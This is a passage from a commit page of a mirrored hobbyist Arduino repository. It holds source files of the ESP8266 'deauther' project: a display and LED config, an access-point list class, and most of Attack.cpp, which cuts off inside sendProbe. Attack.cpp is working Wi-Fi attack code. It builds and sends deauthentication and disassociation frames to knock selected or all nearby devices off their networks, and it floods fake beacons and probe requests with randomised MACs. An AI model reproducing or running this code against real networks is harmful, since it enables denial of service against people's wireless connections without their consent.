mirror of
https://github.com/KevinMidboe/Arduino.git
synced 2025-10-29 17:40:11 +00:00
Init commit with many years of arduino sketches and projects. I dont know if the esp8266 includes much, but there are also libraries. I hope they dont have crazy automatic versioning through the Arduino IDE.
This commit is contained in:
83
enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h
Executable file
83
enp8266/esp8266_deauther-master/esp8266_deauther/A_config.h
Executable file
@@ -0,0 +1,83 @@
|
||||
#ifndef config_h
|
||||
#define config_h
|
||||
|
||||
// ===== DISPLAY LIBRARY ===== //
|
||||
#include <Wire.h>
|
||||
#include <SPI.h>
|
||||
#include "SH1106Wire.h"
|
||||
#include "SSD1306Wire.h"
|
||||
#include "SH1106Spi.h"
|
||||
#include "SSD1306Spi.h"
|
||||
// =========================== //
|
||||
|
||||
//#define DEFAULT_SSID "pwned"
|
||||
//#define HIGHLIGHT_LED 16
|
||||
|
||||
// ===================== LED CONFIG ==================== //
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of LED you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define DIGITAL_LED
|
||||
//#define RGB_LED
|
||||
//#define NEOPIXEL_LED
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust following settings for your type of LED
|
||||
you can ignore the rest of the #define's
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
|
||||
// === Settings for Digital LED and RGB LED === //
|
||||
#define LED_ANODE false // common vcc (+)
|
||||
#define LED_PIN_R 16 // NodeMCU on-board LED
|
||||
#define LED_PIN_G 255 // 255 = LED disabled
|
||||
#define LED_PIN_B 2 // ESP-12 LED
|
||||
|
||||
// === Settings for RGB LED and Neopixel LED === //
|
||||
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
|
||||
|
||||
// === Settings for Neopixel LED === //
|
||||
#define LED_NEOPIXEL_NUM 1
|
||||
#define LED_NEOPIXEL_PIN 15
|
||||
#define LED_NEOPIXEL_MODE NEO_GRB + NEO_KHZ800
|
||||
// NEO_KHZ800 800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
|
||||
// NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
|
||||
// NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)
|
||||
// NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
|
||||
// NEO_RGBW Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
|
||||
|
||||
// ===================== DISPLAY CONFIG ==================== //
|
||||
#define USE_DISPLAY false // default display setting
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Adjust the pins to match your setup
|
||||
Comment out the buttons you don't use.
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
|
||||
#define BUTTON_UP 14
|
||||
#define BUTTON_DOWN 12
|
||||
#define BUTTON_A 13
|
||||
|
||||
//#define BUTTON_LEFT 12
|
||||
//#define BUTTON_RIGHT 13
|
||||
//#define BUTTON_B 10
|
||||
|
||||
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
Uncomment the type of display you're using
|
||||
Only one of them can be defined at a time!
|
||||
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
|
||||
*/
|
||||
#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
|
||||
//#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
|
||||
|
||||
/* RST = GPIO 5 (D1)
|
||||
DC = GPIO 4 (D2)
|
||||
CS = GPIO 15 (D8) or GND
|
||||
SCK/SCL = GPIO 14 (D5)
|
||||
SDA/MOSI = GPIO 13 (D7) */
|
||||
//#define DEAUTHER_DISPLAY SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
|
||||
//#define DEAUTHER_DISPLAY SH1106Spi display = SH1106Spi(5, 4, 15); // for 1.3" OLED with SPI
|
||||
|
||||
//#define FLIP_DIPLAY // uncomment that to flip the display vertically
|
||||
// ========================================================= //
|
||||
|
||||
#endif
|
||||
311
enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp
Executable file
311
enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.cpp
Executable file
@@ -0,0 +1,311 @@
|
||||
#include "Accesspoints.h"
|
||||
|
||||
Accesspoints::Accesspoints() {
|
||||
list = new SimpleList<AP>;
|
||||
}
|
||||
|
||||
void Accesspoints::sort() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.RSSI(a.id) > WiFi.RSSI(b.id)) return -1;
|
||||
|
||||
if (WiFi.RSSI(a.id) == WiFi.RSSI(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::sortAfterChannel() {
|
||||
list->setCompare([](AP& a, AP& b) -> int {
|
||||
if (WiFi.channel(a.id) < WiFi.channel(b.id)) return -1;
|
||||
|
||||
if (WiFi.channel(a.id) == WiFi.channel(b.id)) return 0;
|
||||
|
||||
return 1;
|
||||
});
|
||||
list->sort();
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::add(uint8_t id, bool selected) {
|
||||
list->add(AP{ id, selected });
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::printAll() {
|
||||
prntln(AP_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(AP_LIST_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
void Accesspoints::printSelected() {
|
||||
prntln(AP_HEADER);
|
||||
int max = selected();
|
||||
|
||||
if (selected() == 0) {
|
||||
prntln(AP_NO_AP_SELECTED);
|
||||
return;
|
||||
}
|
||||
int c = count();
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < c && j < max; i++) {
|
||||
if (getSelected(i)) {
|
||||
print(i, j == 0, j == max - 1);
|
||||
j++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num) {
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Accesspoints::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(AP_TABLE_HEADER);
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE) + getSSID(num), String(), 33));
|
||||
prnt(leftRight(String(SPACE) + getNameStr(num), String(), 17));
|
||||
prnt(leftRight(String(SPACE), (String)getCh(num), 3));
|
||||
prnt(leftRight(String(SPACE), (String)getRSSI(num), 5));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prnt(leftRight(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(leftRight(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prntln(leftRight(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
|
||||
if (footer) {
|
||||
prntln(AP_TABLE_DIVIDER);
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getSSID(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
if (getHidden(num)) {
|
||||
return str(AP_HIDDEN);
|
||||
} else {
|
||||
String ssid = WiFi.SSID(getID(num));
|
||||
ssid = ssid.substring(0, 32);
|
||||
ssid = fixUtf8(ssid);
|
||||
return ssid;
|
||||
}
|
||||
}
|
||||
|
||||
String Accesspoints::getNameStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return names.find(getMac(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getCh(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.channel(getID(num));
|
||||
}
|
||||
|
||||
int Accesspoints::getRSSI(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.RSSI(getID(num));
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getEnc(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.encryptionType(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getEncStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
switch (getEnc(num)) {
|
||||
case ENC_TYPE_NONE:
|
||||
return String(DASH);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_WEP:
|
||||
return str(AP_WEP);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_TKIP:
|
||||
return str(AP_WPA);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_CCMP:
|
||||
return str(AP_WPA2);
|
||||
|
||||
break;
|
||||
|
||||
case ENC_TYPE_AUTO:
|
||||
return str(AP_AUTO);
|
||||
|
||||
break;
|
||||
}
|
||||
return String(QUESTIONMARK);
|
||||
}
|
||||
|
||||
String Accesspoints::getSelectedStr(int num) {
|
||||
return b2a(getSelected(num));
|
||||
}
|
||||
|
||||
uint8_t* Accesspoints::getMac(int num) {
|
||||
if (!check(num)) return 0;
|
||||
|
||||
return WiFi.BSSID(getID(num));
|
||||
}
|
||||
|
||||
String Accesspoints::getMacStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
uint8_t* mac = getMac(num);
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
String Accesspoints::getVendorStr(int num) {
|
||||
if (!check(num)) return String();
|
||||
|
||||
return searchVendor(getMac(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getHidden(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return WiFi.isHidden(getID(num));
|
||||
}
|
||||
|
||||
bool Accesspoints::getSelected(int num) {
|
||||
if (!check(num)) return false;
|
||||
|
||||
return list->get(num).selected;
|
||||
}
|
||||
|
||||
uint8_t Accesspoints::getID(int num) {
|
||||
if (!check(num)) return -1;
|
||||
|
||||
return list->get(num).id;
|
||||
}
|
||||
|
||||
void Accesspoints::select(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_select(num);
|
||||
|
||||
prnt(AP_SELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_deselect(num);
|
||||
|
||||
prnt(AP_DESELECTED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(AP_REMOVED);
|
||||
prntln(getSSID(num));
|
||||
|
||||
internal_remove(num);
|
||||
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::select(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) select(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::deselect(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) deselect(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::remove(String ssid) {
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (getSSID(i).equalsIgnoreCase(ssid)) remove(i);
|
||||
}
|
||||
}
|
||||
|
||||
void Accesspoints::selectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, true });
|
||||
prntln(AP_SELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::deselectAll() {
|
||||
for (int i = 0; i < count(); i++) list->replace(i, AP{ list->get(i).id, false });
|
||||
prntln(AP_DESELECTED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void Accesspoints::removeAll() {
|
||||
while (count() > 0) internal_remove(0);
|
||||
prntln(AP_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Accesspoints::find(uint8_t id) {
|
||||
int s = list->size();
|
||||
|
||||
for (int i = 0; i < s; i++) {
|
||||
if (list->get(i).id == id) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int Accesspoints::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
int Accesspoints::selected() {
|
||||
int c = 0;
|
||||
|
||||
for (int i = 0; i < list->size(); i++) c += list->get(i).selected;
|
||||
return c;
|
||||
}
|
||||
|
||||
bool Accesspoints::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(AP_NO_AP_ERROR);
|
||||
prntln((String)num);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool Accesspoints::internal_check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void Accesspoints::internal_select(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, true });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_deselect(int num) {
|
||||
list->replace(num, AP{ list->get(num).id, false });
|
||||
}
|
||||
|
||||
void Accesspoints::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
81
enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h
Executable file
81
enp8266/esp8266_deauther-master/esp8266_deauther/Accesspoints.h
Executable file
@@ -0,0 +1,81 @@
|
||||
#ifndef Accesspoints_h
|
||||
#define Accesspoints_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
|
||||
extern Names names;
|
||||
|
||||
extern String searchVendor(uint8_t* mac);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String fixUtf8(String str);
|
||||
extern String bytesToStr(uint8_t* b, uint32_t size);
|
||||
|
||||
struct AP {
|
||||
uint8_t id;
|
||||
bool selected;
|
||||
};
|
||||
|
||||
class Accesspoints {
|
||||
public:
|
||||
Accesspoints();
|
||||
|
||||
void sort();
|
||||
void sortAfterChannel();
|
||||
|
||||
void add(uint8_t id, bool selected);
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
|
||||
void select(int num);
|
||||
void deselect(int num);
|
||||
void remove(int num);
|
||||
void select(String ssid);
|
||||
void deselect(String ssid);
|
||||
void remove(String ssid);
|
||||
|
||||
void printAll();
|
||||
void printSelected();
|
||||
void selectAll();
|
||||
void deselectAll();
|
||||
void removeAll();
|
||||
|
||||
String getSSID(int num);
|
||||
String getNameStr(int num);
|
||||
String getEncStr(int num);
|
||||
String getMacStr(int num);
|
||||
String getVendorStr(int num);
|
||||
String getSelectedStr(int num);
|
||||
uint8_t getCh(int num);
|
||||
uint8_t getEnc(int num);
|
||||
uint8_t getID(int num);
|
||||
int getRSSI(int num);
|
||||
uint8_t* getMac(int num);
|
||||
bool getHidden(int num);
|
||||
bool getSelected(int num);
|
||||
|
||||
int find(uint8_t id);
|
||||
|
||||
int count();
|
||||
int selected();
|
||||
|
||||
bool check(int num);
|
||||
bool changed = false;
|
||||
|
||||
private:
|
||||
SimpleList<AP>* list;
|
||||
|
||||
bool internal_check(int num);
|
||||
void internal_select(int num);
|
||||
void internal_deselect(int num);
|
||||
void internal_remove(int num);
|
||||
};
|
||||
|
||||
#endif // ifndef Accesspoints_h
|
||||
458
enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp
Executable file
458
enp8266/esp8266_deauther-master/esp8266_deauther/Attack.cpp
Executable file
@@ -0,0 +1,458 @@
|
||||
#include "Attack.h"
|
||||
|
||||
Attack::Attack() {
|
||||
getRandomMac(mac);
|
||||
|
||||
if (settings.getBeaconInterval()) {
|
||||
// 1s beacon interval
|
||||
beaconPacket[32] = 0xe8;
|
||||
beaconPacket[33] = 0x03;
|
||||
} else {
|
||||
// 100ms beacon interval
|
||||
beaconPacket[32] = 0x64;
|
||||
beaconPacket[33] = 0x00;
|
||||
}
|
||||
|
||||
deauth.time = currentTime;
|
||||
beacon.time = currentTime;
|
||||
probe.time = currentTime;
|
||||
}
|
||||
|
||||
void Attack::start() {
|
||||
stop();
|
||||
prntln(A_START);
|
||||
attackTime = currentTime;
|
||||
attackStartTime = currentTime;
|
||||
accesspoints.sortAfterChannel();
|
||||
stations.sortAfterChannel();
|
||||
running = true;
|
||||
}
|
||||
|
||||
void Attack::start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout) {
|
||||
Attack::beacon.active = beacon;
|
||||
Attack::deauth.active = deauth || deauthAll;
|
||||
Attack::deauthAll = deauthAll;
|
||||
Attack::probe.active = probe;
|
||||
|
||||
Attack::output = output;
|
||||
Attack::timeout = timeout;
|
||||
|
||||
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
|
||||
// scan.countSelected() > 0)){
|
||||
if (beacon || probe || deauthAll || deauth) {
|
||||
start();
|
||||
} else {
|
||||
prntln(A_NO_MODE_ERROR);
|
||||
accesspoints.sort();
|
||||
stations.sort();
|
||||
stop();
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::stop() {
|
||||
if (running) {
|
||||
running = false;
|
||||
deauthPkts = 0;
|
||||
beaconPkts = 0;
|
||||
probePkts = 0;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.maxPkts = 0;
|
||||
beacon.maxPkts = 0;
|
||||
probe.maxPkts = 0;
|
||||
packetRate = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
prntln(A_STOP);
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::isRunning() {
|
||||
return running;
|
||||
}
|
||||
|
||||
void Attack::updateCounter() {
|
||||
// stop when timeout is active and time is up
|
||||
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
|
||||
prntln(A_TIMEOUT);
|
||||
stop();
|
||||
return;
|
||||
}
|
||||
|
||||
// deauth packets per second
|
||||
if (deauth.active) {
|
||||
if (deauthAll) deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.count() + stations.count() * 2 - names.selected());
|
||||
else deauth.maxPkts = settings.getDeauthsPerTarget() *
|
||||
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
|
||||
} else {
|
||||
deauth.maxPkts = 0;
|
||||
}
|
||||
|
||||
// beacon packets per second
|
||||
if (beacon.active) {
|
||||
beacon.maxPkts = ssids.count();
|
||||
|
||||
if (!settings.getBeaconInterval()) beacon.maxPkts *= 10;
|
||||
} else {
|
||||
beacon.maxPkts = 0;
|
||||
}
|
||||
|
||||
// probe packets per second
|
||||
if (probe.active) probe.maxPkts = ssids.count() * settings.getProbesPerSSID();
|
||||
else probe.maxPkts = 0;
|
||||
|
||||
// random transmission power
|
||||
if (settings.getRandomTX() && (beacon.active || probe.active)) setOutputPower(random(21));
|
||||
else setOutputPower(20.5f);
|
||||
|
||||
// reset counters
|
||||
deauthPkts = deauth.packetCounter;
|
||||
beaconPkts = beacon.packetCounter;
|
||||
probePkts = probe.packetCounter;
|
||||
packetRate = tmpPacketRate;
|
||||
deauth.packetCounter = 0;
|
||||
beacon.packetCounter = 0;
|
||||
probe.packetCounter = 0;
|
||||
deauth.tc = 0;
|
||||
beacon.tc = 0;
|
||||
probe.tc = 0;
|
||||
tmpPacketRate = 0;
|
||||
}
|
||||
|
||||
void Attack::status() {
|
||||
char s[120];
|
||||
|
||||
sprintf(s, str(
|
||||
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
|
||||
probe.maxPkts);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
String Attack::getStatusJSON() {
|
||||
String json = String(OPEN_BRACKET); // [
|
||||
|
||||
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
|
||||
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
|
||||
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
|
||||
json += String(packetRate); // 0
|
||||
json += CLOSE_BRACKET; // ]
|
||||
|
||||
return json;
|
||||
}
|
||||
|
||||
void Attack::update() {
|
||||
if (!running || scan.isScanning()) return;
|
||||
|
||||
apCount = accesspoints.count();
|
||||
stCount = stations.count();
|
||||
nCount = names.count();
|
||||
|
||||
// run/update all attacks
|
||||
deauthUpdate();
|
||||
deauthAllUpdate();
|
||||
beaconUpdate();
|
||||
probeUpdate();
|
||||
|
||||
// each second
|
||||
if (currentTime - attackTime > 1000) {
|
||||
attackTime = currentTime; // update time
|
||||
updateCounter();
|
||||
|
||||
if (output) status(); // status update
|
||||
getRandomMac(mac); // generate new random mac
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthUpdate() {
|
||||
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
if (accesspoints.getSelected(deauth.tc)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
if (stations.getSelected(deauth.tc - apCount)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
|
||||
if (names.getSelected(deauth.tc - stCount - apCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - stCount - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::deauthAllUpdate() {
|
||||
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
|
||||
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
|
||||
// APs
|
||||
if ((apCount > 0) && (deauth.tc < apCount)) {
|
||||
tmpID = names.findID(accesspoints.getMac(deauth.tc));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthAP(deauth.tc);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Stations
|
||||
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
|
||||
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
|
||||
|
||||
if (tmpID < 0) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else if (!names.getSelected(tmpID)) {
|
||||
deauth.tc += deauthStation(deauth.tc - apCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// Names
|
||||
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
|
||||
if (!names.getSelected(deauth.tc - apCount - stCount)) {
|
||||
deauth.tc += deauthName(deauth.tc - apCount - stCount);
|
||||
} else deauth.tc++;
|
||||
}
|
||||
|
||||
// reset counter
|
||||
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::probeUpdate() {
|
||||
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
|
||||
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % 11);
|
||||
probe.tc += sendProbe(probe.tc);
|
||||
|
||||
if (probe.tc >= ssids.count()) probe.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void Attack::beaconUpdate() {
|
||||
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
|
||||
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
|
||||
beacon.tc += sendBeacon(beacon.tc);
|
||||
|
||||
if (beacon.tc >= ssids.count()) beacon.tc = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthStation(int num) {
|
||||
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings.getDeauthReason(), stations.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthAP(int num) {
|
||||
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
|
||||
}
|
||||
|
||||
bool Attack::deauthName(int num) {
|
||||
if (names.isStation(num)) {
|
||||
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
|
||||
} else {
|
||||
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
|
||||
}
|
||||
}
|
||||
|
||||
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
|
||||
if (!stMac) return false; // exit when station mac is null
|
||||
|
||||
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
|
||||
|
||||
bool success = false;
|
||||
|
||||
// build deauth packet
|
||||
packetSize = sizeof(deauthPacket);
|
||||
memcpy(&deauthPacket[4], stMac, 6);
|
||||
memcpy(&deauthPacket[10], apMac, 6);
|
||||
memcpy(&deauthPacket[16], apMac, 6);
|
||||
deauthPacket[24] = reason;
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send another packet, this time from the station to the accesspoint
|
||||
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
|
||||
// build deauth packet
|
||||
memcpy(&deauthPacket[4], apMac, 6);
|
||||
memcpy(&deauthPacket[10], stMac, 6);
|
||||
memcpy(&deauthPacket[16], stMac, 6);
|
||||
|
||||
// send deauth frame
|
||||
deauthPacket[0] = 0xc0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
|
||||
// send disassociate frame
|
||||
deauthPacket[0] = 0xa0;
|
||||
|
||||
if (sendPacket(deauthPacket, packetSize, ch, settings.getForcePackets())) {
|
||||
success = true;
|
||||
deauth.packetCounter++;
|
||||
}
|
||||
}
|
||||
|
||||
if (success) deauth.time = currentTime;
|
||||
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t tc) {
|
||||
if (settings.getBeaconChannel()) setWifiChannel(tc % 11);
|
||||
mac[5] = tc;
|
||||
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
|
||||
}
|
||||
|
||||
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
|
||||
packetSize = sizeof(beaconPacket);
|
||||
|
||||
if (wpa2) {
|
||||
beaconPacket[34] = 0x31;
|
||||
} else {
|
||||
beaconPacket[34] = 0x21;
|
||||
packetSize -= 26;
|
||||
}
|
||||
|
||||
int ssidLen = strlen(ssid);
|
||||
|
||||
if (ssidLen > 32) ssidLen = 32;
|
||||
|
||||
memcpy(&beaconPacket[10], mac, 6);
|
||||
memcpy(&beaconPacket[16], mac, 6);
|
||||
memcpy(&beaconPacket[38], ssid, ssidLen);
|
||||
|
||||
beaconPacket[82] = ch;
|
||||
|
||||
// =====
|
||||
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
|
||||
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
|
||||
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
|
||||
tmpPacket[37] = ssidLen; // update SSID length byte
|
||||
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
|
||||
|
||||
if (sendPacket(tmpPacket, tmpPacketSize, ch, settings.getForcePackets())) {
|
||||
beacon.time = currentTime;
|
||||
beacon.packetCounter++;
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return true;
|
||||
} else {
|
||||
delete tmpPacket; // free memory of allocated buffer
|
||||
return false;
|
||||
}
|
||||
// =====
|
||||
}
|
||||
|
||||
bool Attack::sendProbe(uint8_t tc) {
|
||||
